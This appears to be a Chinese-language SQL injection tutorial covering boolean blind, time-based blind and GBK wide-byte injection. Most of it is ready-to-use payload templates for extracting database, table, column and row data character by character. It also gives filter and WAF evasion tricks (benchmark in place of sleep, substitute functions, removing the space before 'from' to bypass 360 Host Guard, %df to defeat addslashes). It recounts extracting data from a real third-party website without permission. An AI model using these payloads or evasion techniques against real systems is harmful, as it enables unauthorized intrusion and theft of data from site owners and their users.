1. 程式人生 > 實用技巧 >SQL注入漏洞--盲注和寬位元組注入

SQL注入漏洞--盲注和寬位元組注入

盲注是注入的一種,指的是在不知道資料庫返回值的情況下對資料中的內容進行猜測,實施SQL注入。盲注一般分為布林盲注和基於時間的盲注和報錯的盲注。

1.布林盲注 布林很明顯Ture跟Fales,也就是說它只會根據你的注入資訊返回Ture跟Fales,也就沒有了之前的報錯資訊。
2.時間盲注 介面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函式,通過檢視web頁面返回的時間差來判斷注入的語句是否正確。

布林盲注

在頁面中,如果正確執行了SQL語句,則返回一種頁面,如果SQL語句執行錯誤,則執行另一種頁面。基於兩種頁面,來判斷SQL語句正確與否,達到獲取資料的目的

注意比如 ‘ ” 的註釋通常用 --+ 或者 --%20 或者#來註釋

注意閉合相關的語句比如 )’ “等

用limit的原因是由於在頁面顯示的資料不夠所有來限制其輸出,然後通過limit中數字的變化來把所有的資料求出來

注意語法語言的不同會導致註釋的不同,所有註釋符要注意變通。

常用函式:

Length()函式 返回字串的長度
Substr()擷取字串
string 為字串 string 為字串 length 為長度
Ascii()
作用:返回字串str的字元ASCII碼值。如果str是空字串,返回0.如果string是 NULL,返回NULL。
sleep(n):將程式掛起一段時間 n為n秒

if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

Payload1:

(selectcount(schema_name) from information_schema.sc hemata)> n n為資料庫個數,當資料庫個數大於n頁面顯示正常 (selectlength(schema_name) from information_schema.s chemata limit 0,1)> n 該語句判斷資料庫內第一個資料庫名有多少字元,大於n則頁面顯示正常 (selectascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),1,1)))>105 ascii()將返回字串的ascii值 第一個1,表示擷取字串的起始位置 第二個1,表示擷取字串長度 該語句作用:判斷第一個庫第一個字元是什麼

Payload2:

網上的payload一般是利用ascii()、substr()、length()結合進行利用 獲取資料庫長度 and (select length(database()))=長度 #可以通過大於等於等來進行猜測以下同理 #database 資料庫 逐字猜解資料庫名 and (select ascii(substr(database(),位數,1)))=ascii碼 #位數的變化及從1,2,3變化即可通過ascii碼以及猜解的資料庫長度求出資料庫的庫名 猜解表名數量 and (select count(table_name) from information_schema.tables where table_schema=database())=數量 # information_schema.tables 專門用來儲存所以表,5.0以上版本才有 猜解某個表長度 and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度 #同理n從0來表示變化的表來求該庫下的對應的表的長度 逐位猜解表名 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii碼 #從前面的1變化是求表名,而n變化是對應的庫中的表 猜解列名數量 and (select count(*) from information_schema.columns where table_schema = database() and table_name = 表名)=數量 #information_schema.columns 專門用來儲存所有的列 猜解某個列長度 and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=長度 逐位猜解列名 and (select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii碼 判斷資料的數量 and (select count(列名) from 表名)=數量 猜解某條資料的長度 and (select length(列名) from 表名 limit n,1)=長度 逐位猜解資料 and (select ascii(substr(user,位數,1)) from 表名 limit n,1)=ascii碼

盲注tips#

過濾了substr函式怎麼辦# 用如下函式 left(str,index) 從左邊第index開始擷取 right(str,index) 從右邊第index開始擷取 substring(str,index) 從左邊index開始擷取 mid(str,index,ken) 擷取str 從index開始,擷取len的長度 lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)兩邊填充給定的padstr到指定的長度len,返回填充的結果 過濾了等於號怎麼辦?# 1、用in() 2、用like 過濾了ascii()怎麼辦?# hex() bin() ord() 過濾了欄位名怎麼辦?# 1、order by 盲注 條件:有回顯,給出欄位結構 order by用於根據指定的列對結果集進行排序。一般上是從0-9a-z這樣排序,不區分大小寫。先看下id為1的查詢結果 執行如下payload select * from users where id=1 union select 1,'d',3 order by 2 發現我們聯合查詢的資料d排在前面 再執行如下payload select * from users where id=1 union select 1,'z',3 order by 2 發現聯合查詢的資料z排在後面了。這是什麼意思呢?第一次聯合查詢的d,排在前面,是因為id為1的資料第一位是d,所以排在前面了。而id為1的資料第一位不是z,所以z就排在後面了,我們可以利用這個特性來進行布林盲注,只要猜0-9,a-z,逐字猜解就好 2、子查詢 這個東西沒啥好解釋的,直接看payload吧 select * from users where id=-1 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)x 例項演示# 一個賣吃雞外掛的網站 ,建立訂單那存在SQL注入,利用上面常規payload獲取到資料庫名了,資料庫名為chiji,進行到獲取表數量就開始攔截了。 發現是360主機衛士攔截了,本來想按照bypass老哥發的文章進行繞過的,發現各種方法都不行,可能是站長修改了規則。自己測試,發現select 1不攔截。select 1 from不攔截。select 1 from 1攔截。所以我們要破壞select from的結構才能進行繞過。後來詢問@撕夜師傅發現去掉from前面的空格即可繞過。後面的步驟參考上面的payload即可

時間盲注

時間盲注利用前提條件:

頁面上沒有顯示位,也沒有輸出SQL語句執行錯誤資訊。 正 確的SQL語句和錯誤的SQL語句返回頁面都一樣,但是加入sleep(5)條 件之後,頁面的返回速度明顯慢了5秒。 布林盲注是根據頁面正常否進行注入,而時間盲注則是通過SQL語句查詢的時間來進行注入,一般是在頁面無回顯,無報錯的情況下使用。 可以通過F12來看其頁面回顯的時間與布林盲注是一樣的

時間盲注常用函式:

IF(判斷語句,A,B) 如果判斷語句為真,則返回A 為假則返回B 一般和布林盲注語句配合使用: if(ascii(substr(“payload”, 1, 1))=104, sleep(5), 1) 如果第一個,號前的語句成立,則頁面返回速度慢5秒 不成立,頁面立即返回

時間盲注過程:

if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判斷資料庫個數
if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判斷 第一個庫第一個字元

payload:

猜解資料庫長度
and if((select length(database()))=長度,sleep(6),0)
猜解資料庫名
and if((select ascii(substr(database(),位數,1))=ascii碼),sleep(6),0)
判斷表名的數量
and if((select count(table_name) from information_schema.tables where table_schema=database())=個數,sleep(6),0)
判斷某個表名的長度
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度,sleep(6),0)
逐位猜表名
and if((select ascii(substr(table_name,位數,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii碼,sleep(6),0)
判斷列名數量
and if((select count(column_name) from information_schema.columns where table_name="表名")=個數,sleep(6),0)
判斷某個列名的長度
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=長度,sleep(6),0)
逐位猜列名
and if((select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii碼,sleep(6),0)
判斷資料的數量
and if((select count(列名) from 表名)=個數,sleep(6),0)
判斷某個資料的長度
and if((select length(列名) from 表名)=長度,sleep(6),0)
逐位猜資料
and if((select ascii(substr(列名,n,1)) from 表名)=ascii碼,sleep(6),0)


時間盲注小tips 如果過濾了sleep,還可以用benchmark(),這個函式第一個值填要執行的次數,第二個填寫要執行的表示式
select * from users where id=1 and if(ascii(substring((database()),1,1))>1,(select benchmark(10000000,md5(0x41))),1)

寬位元組注入

寬子節注入只有在,伺服器頁面程式碼中使用了gbk編碼等漢字編碼方式時才有效。 通常,當頁面原始碼中使用了 addslashes( )函式對使用者輸入的引數進行過濾,並且使用的是字串查詢的方式時。那麼前面我們介紹的幾種SQL注入方式就都不能用了 這種情況下如果頁面使用的不是utf-8之類的編碼方式,而用的是漢字編碼方式gbk等,我們就可以使用寬子節注入。 addslashes() 函式 函式返回在預定義字元之前新增反斜槓的字串 預定義字元: 單引號(') 雙引號(") 反斜槓(\) NULL 寬位元組注入原理 mysql_query(“SET NAMES ‘gbk’”,$conn)語句將資料庫編碼字符集修改為 GBK格式。此時,%df\‘對應的編碼就是 %df%5c’,即漢字“ 運‘ ”,這樣 單引號之前的轉義符號“\”就被吃掉了,單引號就逃逸出來,從而轉義失敗 通常我們在做測試時,只要加上在預定義字元前%df 就可以了